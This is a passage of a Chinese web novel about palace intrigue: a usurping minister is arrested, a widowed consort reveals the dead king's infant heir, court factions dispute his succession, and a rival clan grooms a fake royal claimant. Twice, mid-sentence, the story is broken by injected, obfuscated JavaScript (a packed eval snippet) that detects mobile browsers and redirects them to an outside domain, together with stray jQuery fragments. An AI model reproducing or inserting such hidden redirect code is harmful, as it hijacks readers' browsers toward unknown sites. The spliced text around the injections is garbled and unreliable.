朵尔罕“啧啧”两声,摇头道:“可怜,可悲,都这个时候了还不愿相信你儿子已死。”说着,站起身,表情不再像以往那样刻肃,显得心情很好,“不妨让老臣再说直白一点,您就是一个无后之人,无子无孙,依老臣看,太后您还是活久一点的好,是不是,您一定知道我在说什么……” 高氏浑身一震。 朵尔罕见高太后神思已散,成了纸糊的盾牌,于是更加一把料:“老臣知道太后不惧死亡,可死后呢,有何颜面去面对呼延氏的列祖列宗?呼延王权是在你手里丢的,你才是最大的罪人!” 高氏面色灰败,两只胳膊气得冰凉,别的言语高氏都可以应对,唯独这个直击她的要害。 “所以你看,还是活着为好,只要你肯落印,向天下人宣禅让诏书,老臣定让太后活够百年。” 朵尔罕说罢,那名亲随再次上前:“太后,您还是落印罢,都这会儿了,您就是不落也得落呀,顺应时俗方为正道。” 高太后从亲随手里拿过卷轴,一边的金掌事无奈地闭上眼。 卷轴摊开,上面的字字句句都是**。 朵尔罕眼见目的就要达成,只此最后一步,夷越即将易姓,想到此处,整个人容光焕发,谁知“撕拉”一声,再去看时,卷轴被高氏用珠簪划成两半,掷到他的面前。 “本殿就是**,不上九天,不入地府,专在世间锁你这狗贼的魂!”高太后咬牙道。 朵尔罕面色铁青,口中再无遮拦:“好你个毒妇!敬酒不吃罚酒,休怪我不给你体面!”说着往前一招手,“来人,叫圣太后尝一尝苦头,也不要见血,就把她左手的五根指头掰折,右手还要落印,暂先不动。” 此时上来几名青甲兵,殿中的宫人立马围簇到高太后身前,几十名王庭亲卫**阶下,挥刀向前,不准对方靠近。 朵尔罕冷笑一声:“以卵击石,不自量力!”更多的青甲兵涌入殿中。 高太后这边势弱,根本不敌。 正在双方对峙之时,殿外忽然传来刀剑相撞之声,闹动声越来越大,越来越急,像是一场火炽的雨暴。 “怎么回事?!”朵尔罕问道,这个时候绝不能出任何意外。 一个青甲兵跑出殿外探看,过了一会儿,惊惶地跑回来,喘吁道:“大人,好多兵……”话音未落,那青甲兵应声而倒。 朵尔罕大惊,瞪眼去看,一人提刀立在那里,刀身淌着血,那身上的煞气不是他养的私兵可比,转瞬之间,殿内涌进更多的兵,这些人从哪里来的?怎么回事?! 不及他多想,兵将散开,走出一个体形高大之人。 “达鲁!”朵尔罕蹙眉道,“怎会是你!” 达鲁面无表情地看向对面,并不言语,而是在朵尔罕惊怪的眼神中侧开身,他的身后走出一人。 要说朵尔罕见到达鲁已是瞠目,那么在见到江念后就是惊骇了。 “你还敢现身?正愁抓不住你。”朵尔罕说道。 江念看了一眼殿中况景,一句废话也无:“拿下逆贼!” 这个时候,殿中的青甲兵就不够看了,刚想围护到朵尔罕面前,“嗖嗖”几声,眨眼间,几十名青甲兵应声倒地,原来殿门首早已备下**手,只待命下。 其他的青甲兵再不敢动,他们这些人本就没有过强的信念,就是一群拿钱办事的佣兵,保命要紧,眼下形势扭转,立马束手就擒。 东境兵上前,就要押下朵尔罕。 “尔等谁敢?!我乃上姓之首掌事人,你们……” 军兵们根本不管他说什么,迅速反绑了他,任他激忿叫骂。 江念走到他的面前,朵尔罕冷笑道:“你别得意,以为手上有兵就……” 不等他话说完,达鲁一脚踹到他的膝弯处,大喝一声:“放肆!殿下面前胆敢不行跪礼!” 朵尔罕再阴险狠辣,那也是上了年纪之人,哪里经得住达鲁这一脚,“砰”的一声单膝跪地,膝盖骨都要碎了,疼得冷汗涔涔。 立于阶上的高太后觑眼看着,一把抓住金掌事的胳膊,急声问道:“是不是江丫头?” 金掌事恨不得哭出来,连连回答:“回太后的话,是,是她,是梁妃。” 这时江念已走上前,俯伏下身:“妾护驾来迟,叫太后贵体受惊。” 高太后在金掌事的搀扶下,趋步下阶行到江念面前,紧紧地握住她的手,红着眼眶:“来得正是时候。” 江念扭头看了一眼被压伏在地的朵尔罕,说道:“此逆贼交由太后处置。” 高氏心里惦着其他事,当下叫人把朵尔罕押入大牢。 朵尔罕被人押走之时,恶毒的声音远远传来:“就算你手上有兵又如何?你看看夷越能否叫你一梁女当家做主,无子之妇!” 江念面上没有任何情绪波动,而是扶着高太后重新坐回主座,然后示意达鲁上前**,达鲁这才解除佩剑,上前,端端正正行了大礼。 “好,好,达鲁将军护驾有功,当重赏!”高太后说道。 达鲁叩谢,然后带人退下。 宫人们赶紧拿水刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688485|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗地砖,速度十分迅速,不到一盏茶的工夫,殿内已恢复如初,没有半点打斗的痕迹。 殿中只留下几名大宫婢,余者退下。 这时,高太后才开口,问的第一句是:“我儿呢?” 江念怔了一下,也就是这一怔愣,高太后仅剩的希望落了空。 “你没同他在一起?” “没有,妾身并没有去边境,而是在别处。”江念说道。 高太后叹了一声,寂然不语,腰背塌了下来,就连江念亦感觉到她身上浓浓的丧气。 像高太后这个年纪的人,最重要的就是精神,精神一垮,估计活不久,于是起身,敛衣跪于高太后面前。 高太后疑惑道:“怎么又跪下?” “请太后责罚。” “你这丫头,动不动就说责罚,你护驾有功,我责罚你做什么?” 高太后让金掌事把江念扶起身,然而江念并不起身,只听她继续道,“妾身欺瞒了太后,并未去寺庙祈福。” 高太后摆了摆手,历经这么一劫,哪还会在意这些小事,只是问道:“这几近一年的时日,你去了哪里?”说着又道出一声,“行了,起来罢。” 然而,江念仍不起身,只听她说道:“妾身未曾远离,而是在京都边的荣水湾。” “荣水湾?你到那里去做什么?” 江念侧过头,看了一眼阶下的秋月,点头道:“抱过来罢。” 秋月应下,出了殿外,没过多久,再次走入殿中,只是怀里多了一个银红的包裹。 高氏慢慢站起身,不自主地探长脖子,两眼发紧,直到看清那包裹里的小人儿,激动道:“这是……” 秋月走到江念身边,江念双手接过,抱在怀里轻声道:“回太后,孩子叫呼延朔。” “呼延……朔……”这会儿,高太后的声音也跟着发紧,近到江念身前,躬下身,看向薄衾里的小儿。 只见那孩子深色的皮肤,头上一窝褐金色的鬈发,还有一对琥珀色的眼珠,眼睫也长,灵灵的,这一对眉眼同她家小子简直一个样儿,可乍一眼看去,又有几分江丫头的秀美。 高太后一颗心怦怦跳,两眼透着欢喜,在她最无望的时候,这个孩子出现了。 不知是不是回到母亲的怀抱,小儿高兴地“呀呀”叫,两只肥软的胳膊伸出,抓来抓去,也不知在抓些什么,反正就是欢动。 明明什么也不会说,可就是闹腾得同人说话似的,你“哦哦”两声,他回你“呀呀”两句,一点也不认生。 高太后一扫刚才的颓丧,一脸的喜欢,说道:“来,叫祖母抱一抱。” 江念把孩子小心地递到高太后手里,高太后却比江念还紧张,待抱到怀里后,只觉着胳膊里的小家伙软舒舒的。 小家伙好奇地看着上面的人,看了一瞬,又转头扭身去找他母亲。 “快,快,你快过来,小家伙寻你不着,有些急了。”高太后急声道,孩子的一举一动都叫她紧张得了不得。 对高太后来说,这是小儿子留下的唯一血脉,她会尽最大的能力去托举他…… 第219章 抄家 江念忙起身,走到高太后身边,孩子一见到江念,蹙起的眉头就舒展了,于是放心地咧着无牙的小嘴咯咯笑。 这一笑,叫高太后也跟着笑。 “你看,这一笑多像那小子。”高太后说道。 江念微笑着,眼底尽是温柔,温柔背后是压抑的苦味。 高太后抱着孩子不愿撒手,最后还是孩子因为饿了,讨要吃食,这才不得不把孩子交给江念,江念又让秋月抱下去给乳母。 直到孩子出了殿门,高太后仍不愿收回眼,江念看在眼里,如今,这孩子成了圣太后唯一的精神寄托。 对高太后来说,这是小儿子留下的唯一血脉,先前的那些顾虑,譬如,王位必须由纯正的夷越人继承,还有梁人同越人诞下的子嗣是杂种,等等诸如此类,全都丢到脑后。 尤其在这王庭内,谁的嘴里要是敢冒出一个“杂种”,只怕高氏第一个撕烂他的嘴。 这一点点呼延氏的血脉,她就是拼了老命也要护下。 “好孩子,辛苦你了。”高氏想到江念为何不在王庭养胎,而是在王庭之外养胎,一来怕奸人暗害,二来只怕也是顾忌她的态度。 江念把荣水湾的生活,拣了些讲给高氏听,主要还是讲孩子日常的小趣事,高氏一面听一面笑。 讲了半晌,金掌事看了江念一眼,从旁说道:“太后,发生了这么大的事故,您去后头歇一歇,梁妃殿下回来只怕也是疲乏,她这会儿更需要好生调养呢。” 高太后“哎呀”一声,说道:“现在越来越糊涂,你也是,该早些提醒我。”转头看向江念,“你去罢,赶了几日的路,好好休息。” “是。”江念笑着起身,退到阶下,行过退礼,带人出了祥云殿。 然而,不论是她抑或是高太后,现在不是可以歇息的时候,她今日让禁军开道,闹出这般大的动静,就是将这孩子的身世公之于众,此举一出,再没有回头路。 战事未起,京都城又恢复了往日的繁闹。 街道两侧的商贩支出摊位,有卖酒的、卖花的,还有卖手工陶罐的,各大酒楼里坐满了食客,街头巷尾无不讨论着一件事,那就是前几日梁妃殿下同小王子回朝之事。 酒楼内,嘈杂的人声中不时听到有关此事的议论。 “你们说,这小王子真是大王同梁妃的孩子?”一人说道。 “你说的是什么屁话!”另一人说道,“这事能开玩笑的?再说了,王庭内还有圣太后坐镇,不是咱们大王的子息,太后能忍得?” 其他几人纷纷应和。 “哎呀——可真是想不到,咱们从前都视梁人同越人生的孩子为那啥,这下可好,小王子也是……” 这人话未说完,旁边一人立马做出一个“嘘——”的动作:“这话你也敢说,不想活了?若是不想活了,别牵带我们。” 又一个声音**来:“虽说不叫人说,可此事还真不是小事,别说那些权贵了,就是咱们这些普通百姓,嘴上不说,背地里心里就没想法?” “是呀!诸位想想,咱们夷越正同大梁对战,最关键的是……君王又在此役中殁了!就算小王子身上流有大王的血脉,可也掩盖不了他身上有一半梁人血脉的事实,这不叫梁国笑话?和着梁人不仅杀我君王,最后还统领了我们的家国,说起来,真真是**。” 另一个应和道:“谁说不是呢,小王子如今只是个婴孩儿,这中间变数大着哩,你们看罢,小王子的身份想要稳固,除非……” 其他几人齐声问道:“除非什么?” “除非大王活过来,否则别说承继帝位,只怕这王子的头衔都不一定能保得住。” 众人纷纷应是。 整个酒楼大堂间坐满了人,十桌有八桌都在议论此事,窗外不时有金甲禁军巡防,他们路过时,酒楼内安静一阵,待他们行过,这些食客们又口无遮拦地议论起来。 如今街面上不仅有金甲禁军巡卫,还有另一批兵将交替巡视,他们身上穿的甲衣,有一股很重的铁腥味,颜色也不鲜亮,泛着黑,那些人的皮肤像被风沙磨过,眼如鹰隼,叫人不敢直视。 这时,街上百姓突然窜动起来,有些连自己的摊位都甩手不管,跟着人流往一个方向跑去。 酒楼内的众人不知发生何事,俱把脖子往外探看,其中一个靠窗的食客朝外面叫了一声:“嘿!你们干什么去?” 此时,一人正打窗下路过,回答道:“看热闹,不然还能有什么?” “看什么热闹?” “抄家了——” “谁家?” 那人的声音已经远去:“朵家——” 只见红色墙体围成的府邸前挤满了人,府前禁军把守。 然后,众目睽睽中,朵氏一族被军卫们押解出来,这些人身上仍穿着绫罗锦缎,可他们如今的身份再也衬不起那贵重的衣物,一个个蔫头耷脑,被军卫们驱赶前行。 “真是想不到,朵家也有今日!” “自此以后,咱们夷越五上姓只有四上姓了罢?” “那是自然,他朵家敢围禁王庭就应该料到有此一日,真是好好的富贵放着不要,上赶子找死,这等奸佞哪里配为上姓。” “你这话可错了,他们不是好好的富贵放着不要,而是富贵过头,心大了,妄图更大的权力。” 人群中不知谁扔了一个鸡蛋,砸到朵家人身上,接着又有人扔菜叶子,还有人冲上去吐口水,不过最后被军卫拦了下来。 朵家作乱就此平息,朵氏一族由高太后下令,阖族被下大狱。 …… 江念住回西殿,每日多半时间同小王子一起,早上趁阳光稀薄,便抱着孩子先去一趟祥云殿,向高太后请安,高太后便把她二人留上半日。 傍晚吃过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688486|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭后,再带着孩子去孔雀苑散步消食,天黑之前回西殿。 江念在等,她在等高太后为孩子正名,她也相信,这个世上,除了她以外,就是高氏最希望这孩子好了。 但她不能出面,一来她梁人的身份本就敏感,不适合出来说话,二来,现在也不是她出面的时候。 若真到最后,连圣太后也没办法让朔儿承继他父亲的王位,那就怪不得她了,她并不喜争抢,可为了她的孩子,神佛来了都得让道。 她绝不会叫他父亲的王位落于他人之手! 辍朝多日,今始复朝。 百官身着朝服,列于宏宇大殿之上。 殿堂上首的王位空着,而王座左侧设了一宝座,上面端坐着夷越最为尊贵的女人,老越王之妻,成王、吉王之母,圣太后,高氏。 只见其身着大朝袍,头佩金珠冠,禀坤仪地表之尊,双目含威,君王不在,圣太后便临时代掌朝政,因她尊贵的身份,朝野百官肃然。 “诸位大人若有奏,还请呈言。”大宫监丹增说道。 此时,一名官员出列,说道:“臣有奏。” 高太后平声道:“说来。” 那官员躬身道:“国不可一日无君,王位不可空悬,臣以为需尽快择一合适人选承继王位。” 高太后“嗯”了一声,眼睛往堂下一扫,说道:“其他大人呢,如何说?” 众臣纷纷附议。 “本殿也正要同众位大人商议此事。”高太后说道,“相信众位大人已知,小王子回朝,只是他目下年岁尚幼,本殿将代为掌政,待他年纪稍长,再由小王子承继。” “太后不可啊——”此时一人从百官中出列,伏跪于地。 “如何不可?”高氏问道。 “小王子虽为大王子嗣,身上却流有一半梁人血,如何能承继我夷越大统?”那人说道。 此时又出来一名官员,并跪下:“大王死于梁人之手,如何能让拥有梁人血脉的小王子为王?岂非夷越叫梁人统管?吾王岂不是白白牺牲?” 一连逼问下,又有几名官员出列,个个激忿道:“不仅对不起为我夷越战死的大王,更对不起仙去的老越王和成王,还有死于战场上的将士们!” 高氏面色越听越冷。 此时,一个不同的声音响起:“老臣觉着不然,小王子身上虽有一半梁人血脉,可他自小生长于我夷越,只要受我夷越的教化,便是我夷越人。” 众臣看去,这说话之人正是阿史家家主,阿史鹞。 阿史鹞说罢,看向一侧,问道:“罗大人觉着呢?” 罗家家主心里暗骂阿史鹞,你要讨好你去讨好,拉上我做什么,我哪头也不想站,只想好好赚钱,想到这里又是肉痛一番,他家的赌场俱被王室收走了。 正在他迟疑之时,另一个声音冒了出来,罗家家主一听这个声音,头更大了…… 第220章 野种 罗家家主正思忖着如何含糊过去,一个声音从他身后响起,这声音叫他眉头直跳。 “臣以为这话不错,小王子生于我夷越,长于我夷越,便是我夷越人,同大梁没有半点关系。” 说话之人正是罗家大郎,罗疏,这是老子不表态,儿子代老子表态了。 高太后听了很是舒心,点了点头。 正在此时,又一人出列,说道:“臣以为,小王子有一半梁人血脉是改变不了的事实,终是存异,做过闲散王族可,却不可立为储君。” 众人看去,说话之人正是右大臣兀良哈。 有了兀良哈带头,刚压下去的反对之声,又窜冒出来,比之先前更甚。 高太后冷冷地看着众臣争议,启口道:“众位大人是不将我这个太后放在眼里了?” 众臣忙静下声,不敢再言,临到最后散朝,也没有一个定论。 因前一日下过一场微雨,上午的太阳不烈,江念抱着孩子坐在殿院里,朝堂上的情状早已传到她的耳朵里。 “主子,您说那位兀良大人为何这样?”秋月问道,她因是江念的贴身女婢,顺耳听大王说过,兀良家同王室乃姻亲,而且大王也有意扶持世家,怎么这会儿不帮着说话呢。 江念拿着自己绣制的小荷包逗弄怀里的孩儿,孩子一双肉乎乎的小手抓着荷包,抓住就不放了,然后笑起来,笑着小嘴吐出晶亮亮的沫子。 见他笑的开心,江念也跟着笑,好似根本不为外事愁烦,接着从袖中抽出绢帕,替他拭小嘴儿上的津唾。 “兀良哈是个老顽固,料想他如此说只是因着朔儿血统不纯,并无别的心思。”江念一边轻拭孩子嘴边的津唾,一面说着。 秋月撇了撇嘴,私认为这些老臣真恨人,他们小王子就是大王的亲骨血,没人比小王子更尊贵了。 正巧此时珠珠跑了来,拿了一个自己编织的小线球,那线球同蜜枣差不多大小,精致小巧,很是可爱。 “姐姐,你看,我给朔儿编的,紧紧实实,随他抓。”珠珠说道。 江念微笑道:“现在说话好多了。” 自打徽城回来后,珠珠开始练习说话,同人交谈时语速变缓,断句碎,慢慢的,口吃的毛病好了很多。 珠珠开心地笑了,凑到孩子跟前,把小线球拿出来,吊在手里荡了荡,小儿立马丢掉手里的荷包,伸手去够小线球,玩闹了一会儿,乳母笑着走来。 “殿下,该给小王子哺育了。” 江念便把孩子交到乳母手里,乳母小心地接过,退了下去,珠珠跟着一起去了。 秋月上前替江念捏肩:“若那些朝臣们一直这样僵持不下,该当如何,只怕太后那里也愁呢。” “不急,这只是开始,还有得闹呢,以不变应万变,还不到出手的时候,只需待时而动。”江念淡淡地说道。 之后的几日,朝会皆由圣太后听政,而有关册立小王子为储君的争论一直相持不下。 朝中分为两派,支持小王子为储君的一派,参知学士崔致远,阿史家和罗家,以及两家门下党羽,反对小王子为储君的一派,以兀良哈为首的世家,以及众多朝堂大员。 每次圣太后都是憋着一肚子气下的早朝,不过在看到自己的孙儿时,那气立马就烟消云散了。 不知从何时起,一个消息开始在京都的街头巷尾传开来。 “这怎么可能?!”一个人摇了摇头不信。 “怎么不可能,那日可是大家有目共睹的,梁妃殿下抱着小王子回朝,你说说看,她先前去了哪?又为何要躲到外面产子?” “这……” “有句话怎么说来着,凡事不会空穴来风,小王子到底是不是咱们大王的种都不好说哩!” “这话可不能乱说。”一人连忙止住话头。 “这有什么,现在整个京都城传遍了,能封住所有人的嘴不成?”那人浑不在意地说道。 一时间,有关小王子身世的各种谣言在京都城散布开来。 有传,梁妃同王庭的侍卫私通,最后事发,大王不舍要她性命,将她逐出王庭,不料怀了侍卫的孩子,听说大王战死,便动了歪心。 也有传,她趁人不备,换掉王庭秘制的避子丸,妄图怀上王嗣,登上大妃之位,结果惹怒君王,将她撵出王庭。 甚至有传,这孩子是她出了王庭后在民间找的相好,怀的野种。 不论哪一种谣言,总归来说,那孩子并不是王之血脉,发展到后来,更有**者叫嚣着把这来路不明的野种逐出王庭。 祥云殿内…… 宫人们个个垂手低头侍立,大声也不敢出。 又是清脆的“哗啦——”“啪嚓——”之声,那些个贵重的瓷器一个紧着一个被碎在地面。 殿中有些当值的老人从未见圣太后这般恼怒过。 “到底是什么人在传?!”高太后两手搭在椅扶上,胸口不停地起伏。 金掌事张了张嘴,似有难言,终是开口道:“如今传的人多了,也寻不出源头,您也别太气,反把身子气坏了,这些谣言一阵风就过了。” 高太后冷哼一声:“只怕不是一阵风那么简单。” “会不会是兀良家……” 高太后沉脸不语,一时也难决断,正在此时,殿外人来传梁妃抱着小王子前来。 高太后立马叫人把殿内的狼藉清扫干净。 江念走了进来,朝上叩拜行礼。 “快起身。”高太后说道,“把朔儿抱来我瞧瞧。” 江念起身,从秋月手里接过孩子,走到高太后跟前,笑道:“一到这个时候就吵得厉害,怎么也哄不好,偏偏到您这里一来,就笑咯咯,这是想祖母了呢。” 高氏欢喜得从江念手里抱过孩子,逗弄道:“你看这鼻子眼,跟他父王一个样儿,尤其这双眼睛,这世上再找不出这样好看的眼睛了,咱们朔儿的眼睛里也藏着小太阳,是不是?” 小家伙不管听没听懂,跟着“哦”了一声,像是回应那话一样,把高太后乐得合不拢嘴。 金掌事在一边看了,心道,太后上一刻还怒火冲天,下一刻就笑逐颜开,如今也只有小王子能做到。 这清冷的宫殿也因为有了小王子而有了鲜活气,连空气都明亮了,只要他一来,太后必是高兴的,太后一高兴,下面的人都高兴。 这一点已潜移默化地影响到祥云殿的每个人,每日晨间,他们最盼望的就是梁妃带着小王子前来。 这个时候的祥云殿是欢乐的,总能听到笑声。 “昨儿夜里,也不知道他梦到什么,一会儿皱眉囔嘴儿,一会儿又是笑,我也不敢睡,等他安静了才敢合眼。”江念说道。 高太后低 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江念闭上眼,慢慢地睡了过去,也不知睡了多久,醒来时,仍是睡昏昏的。 帐里的光线微暗,她探出手,摸向身边的榻,没有一点点温度,然后身子挨了过去,埋在他的枕间,闷声哭了出来,直到枕上被泪水打湿,凉冰一片。 …… 坊间的留言并没有一阵风散去,反而愈演愈烈,抓了几个叫嚷最凶的,平息了一阵,结果春风吹又生,谣言再起,总也灭不完。 民间不安生,朝堂之上亦是暗流涌动。 午后时分,秋月手提一食盒,绕到西殿后,踏着石墩子穿过殿后的清水湖,沿着石阶上了后山。 山间草木葱郁,石阶缝隙生了簇簇绿苔,不时能听到林间野鸟鸣啾,这会儿,山下炎热,山上却很凉润。 行了一会儿,一抬头,就看见了石阶岔口的凉亭,亭前立着两个宫婢,她家主子正歪倚在栏杆处,面朝山下呆呆地望着。 秋月拭了拭额间的汗珠,一手捉裙,一手提食盒走进凉亭,打开盒盖,将果盘和凉饮摆到桌案上,说道:“小王子已经睡下了。” 江念“嗯”了一声,仍是望着山下。 秋月走上前,顺着江念的目光疑惑地往下看去。 不仅能俯瞰大半个王庭,还能看见坊间的街市,视野倒是开阔,可这也没什么可看的。 “天暗下来后,从这里可以看见万家灯火。”江念喃喃道。 秋月陪着看了一会儿,说道:“婢子拿了些凉饮来,主子来尝一尝。” 江念转过身,走到桌边坐下,秋月沏了一盏与她,江念接过,看了一眼身边的座位。 “你也坐罢,我瞧你像有话说。” 秋月告了座,侧身虚坐下,开口道:“殿下怎么一点也不担心?” 江念放下盏,问道:“担心什么?” “朝堂之上纷争得厉害,最近坊间有关小王子身世的流言再起,对小王子十分不利,那些流言甚至诋毁殿下你……” 本来这些话她不想道出来,不愿江念为此忧悒,可这些流言刚压下去,没过多久再起,很显然有人在背后捣鬼,其目的不言而喻,用意之险恶,这是要把殿下和小王子往死路上逼…… 第221章 他的女人 江念面色仍是淡淡的,指尖在盏壁上轻轻摩挲。 “这些谣言一定有人恶意散布。”秋月说道。 江念点了点头:“我知道。” “若不想办法阻止,任它发展下去,只怕对小王子不利。” “无妨,只要我们不急,那人自会出来。” “自会出来?”秋月问道。 “这些谣言的目的就是为了让我儿失去承继王位的资格,这把火已经烧了起来,他在等烧得最旺之时现身,届时我们自然就知道谁在背后捣鬼,只是这人不要引火烧身才好。” 不知怎的,秋月见江念语调虽淡,却叫她忍不住打了一个寒噤,如今的江念好似压着什么,叫人捉摸不透。 “会不会是那位兀良大人?”秋月问道。 江念轻笑一声:“不必去猜,这人马上就会出现。” …… 弥城…… 一条逼仄的巷弄内,一面破旧的木门“吱呀”打开,从院中走出一名妇人,正待收取晾晒在外面的簸箕,结果妇人往簸箕里一瞥,气得叉腰大骂。 “贼没廉耻的馋痨!饿不死的杀才!妇人我眼巴巴晒这点子酱菜,你个倒路尸,倒有脸皮做这等下作营生?烂了心肝的贼囚,连耗子都不如!” 妇人看着簸箕里剩了一半的酱菜,越看越气不过,气哼哼走到巷子最里头,立在一个更破败的院门前,一手叉腰,一手把门拍得“啪啪”响,那木门本就朽化了,晃摇得厉害,估计再多拍几下,就要散架。 这时,门开了,门内站着一个四十来岁的男人,中等个头,面皮黄瘦,头发枯如柴,两眼凹进去,活泛得叫人生厌。 “拍什么!拍什么!**这么急着送上门,怎的,耐不住了?”男人戏说道。 那妇人啐了一口:“瞎了你的狗眼,妇人我看得上你?!一日三餐连饭也吃不饱,你还有劲干那事?别把你裤裆里的那话儿给缩没了!” 说着,质问道:“我那簸箕里的酱菜是不是你偷食的?” 男人舔了舔唇,说道:“什么酱菜,我不知道。” “你不知道?这巷子里只有你这老泼皮行那没脸没皮的事,还不承认。” 这男人叫贺三,如今四十来岁,老光棍一个,游手好闲,成日没个正经营生,原先父辈留给他的一点家当被他败了个干干净净,如今连吃饭都成问题。 时常吃了上顿没下顿,不是偷东家的鸡就是拿西家的米,哪怕你捉拿他现成,他也咬死不认。 把他送到官府,也不过是偷摸小罪,没几日又放出来,他照旧偷鸡摸狗,这一爿的人家没有不烦他的,就是个死脸,拿他没办法。 贺三眼睛一溜,反咬一口:“去,去,你说我拿你的酱菜,凭证呢?否则我拉你到官府,告你毁我清白。” 妇人急了,气得就要冲进他院子里寻证据,贺三哪里肯干,两人推搡起来,妇人到底力气小,被贺三一推,往后跌了两步,一屁股坐到地上。 两人皆是一怔,不待贺三反应,妇人号哭起来,一面哭一面拍着自己的腿:“**啦——快来人呐,都来看看,**啦……” 贺三唬得把门“砰”的一关,妇人的声音仍在外嚎叫:“老猢狲,你给我等着,等我汉子回来,叫他和你算账!哎呀呀——都来看呐,**啦——” 贺三把门锁一上,哆嗦着往房里走去,他还是有些怵这妇人的汉子,平时就是碰见都是避着走。 慌慌张张进了屋,走到床边,掀开枕头,从枕下拿出一个油纸包,打开,里面正是青褐色的酱菜。 于是把油纸包一攒,爬到木板床上,推开后窗,就要把油纸包丢出去,动作又是一顿,收回手,心道丢了可惜,一把抓起酱菜,囫囵塞在嘴里,嚼了几下,梗着脖吞下去。 这会儿才放下心,侧耳一听,不知那妇人的声音几时息止了,正要松一口气,门板又被“啪啪”拍响。 他以为是那妇人的汉子来了,并不敢出声,直到听见门外的人声。 “怎么敲着没人?别不是弄错了。” “应当没错,一再确认过就是此人,不然我也不敢往上报,再敲一敲。” 这时隔壁的妇人听见,开了门,往外探头,叫喊了一句:“把门拍破也没用,贼泼皮死屋里了!” 门前二人一听,真当人死在屋里,当下不再犹豫,足下用力,直接翻墙而过。 唬得贺三门窗关不迭。 那二人几步抢前,进了屋,一脚把门踹开,就见木板床上一个被包瑟瑟发抖,里面传来人声。 “不是我偷的酱菜,不是我偷的……” 两人互看一眼,将脏污的被子一揭,露出里面的人来。 贺三滚到床下,双膝跪地讨饶:“我再不敢了,饶了我罢,要不我把那酱菜吐出来还你?”说着就要抠喉咙。 “你就是贺三?”其中一人问道。 贺三一听,这才敢抬起头,见眼前两人面生,扶着床缓缓站起来,点了点头:“是……是……我是……” 那二人冷声道:“随我们走一趟罢。” “你们是?” “我们是谁不重要,你只要跟我们走就是。”二人不再废话,把贺三夹在中间出了院子。 贺三坐在马车里,一路不敢多话,这么热的天,身上却冷汗直冒,也不敢打帘看外面,他稍一有动作,那二人就把他盯着。 约莫过了一炷香的工夫,马车遽停,三人先后下了车。 贺三睁大眼,看着面前好大一座府邸,再一抬头,只见门匾上赫赫两个大字:高府 此时,出来一个豪奴,引着贺三进了府,一路行来,他还跟做梦似的,直到行到一方院子。 “稍候,小的往里通传。” 贺三忙讨好地躬身作揖,就见那仆从敲了敲门,然后闪进屋内,不一会儿,仆人从屋里出来。 “高公已在屋里候您多时,随小的进去。” 贺三被仆从 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贺三指向自己,怔问道:“我不就是我么,还能是谁?” “你的这个贺姓,并非本姓,而是通过另一个姓氏化来的。” “另一个姓氏?什么姓氏?”贺**口问出。 高阿克一字一字清楚吐露:“呼延氏。” 贺三滚了滚喉咙,双腿开始发软,哪怕这话听起来荒唐至极,他也竭力把此话记在心里,告诉自己这是真的。 “你祖上是呼延氏的一支,因犯了大罪,剥夺王姓,降为庶民,所以……你是王族。” 高阿克见贺三面目丰富至极,先是不敢置信,接着立马露出一脸猥琐贪婪。 “高公此话当真?”贺三激动地问道。 高阿克笑而不语,贺三自言自语道:“高公这样的人物又怎会哄骗我,一定是真的,一定是真的……我就是呼延氏的子孙。” “如今王座空悬,你既是呼延氏的子孙,合该承继王位。”高阿克说道。 贺三吞咽口水,一面在屋子里来回踱步,一面搓手,像极了粪坑里的苍蝇。 贺三虽说是个游手光棍,却也知晓君王战死,他们夷越正缺少一位主宰之人,所以,他就是主宰之人,他是夷越王! “只是高公,虽然我是呼延氏,可草民哪敢去京都地界,就是去了,只怕还没进王庭的门就被人抓了。” 高阿克心里冷笑,上不得大台盘的东西,不过就是这种人才好掌控:“放心,有我高家在你背后撑腰,你怕什么。” 贺三听说,两眼泛出垂涎的精光,想起什么,转念开口道:“高公刚才说的这夷越最美的女人还有最豪奢的房子是?” “这最美的女人自然是前越王之妻,梁妃殿下,你承继王位后,吉王所有的财物都归你,这些财物自然也包括他的女人……” 第222章 我睡你,是你的福气 贺三听说他能住进王庭,而且还能娶世上最美的女人,王庭里的梁妃,他虽说没见过,却也听人说过,这女人何等娇娆风姿,妍柔态度。 若能搂此女云雨一番,叫他死也甘愿。 高阿克叫人把贺三带了下去,呼延吉啊呼延吉,枉你英悍枭强,到头来又如何,我要让你最爱的女人不得不承欢于泥猪癞狗的身下,让你的儿子认他人为父。 让你在九泉之下不得安生,方能解我心头之恨! …… 最近,京都又传起另一种谣言。 呼延一族不仅王庭一支,高家找到了呼延氏旁支一脉,这个传言在民间越传越广,自然也传到了朝堂和内廷。 西殿…… 秋月将坊间传言报知于江念,江念点了点头,表示知晓,轻笑一声:“终于冒头了。” “高家在朝堂极力推举此人为下一任夷越王,那些反对小王子为储君的大臣们以血统为由,皆支持立此人为王。” 秋月说完见江念并没什么太大的反应。 “主子,若这人继承王位,他就会入主西殿,届时……”秋月说不下去,按夷越的规矩,新王可继承旧王的一切,那个时候梁妃该怎么办,“婢子听说,那人是个四十来岁的老光棍,怎能叫这种人当我们夷越的君王。” 这个时候乳母走了来,江念从她手里接过孩子,垂着腻白的颈儿,温柔地看着怀里的孩子,有一下无一下的抚拍着他。 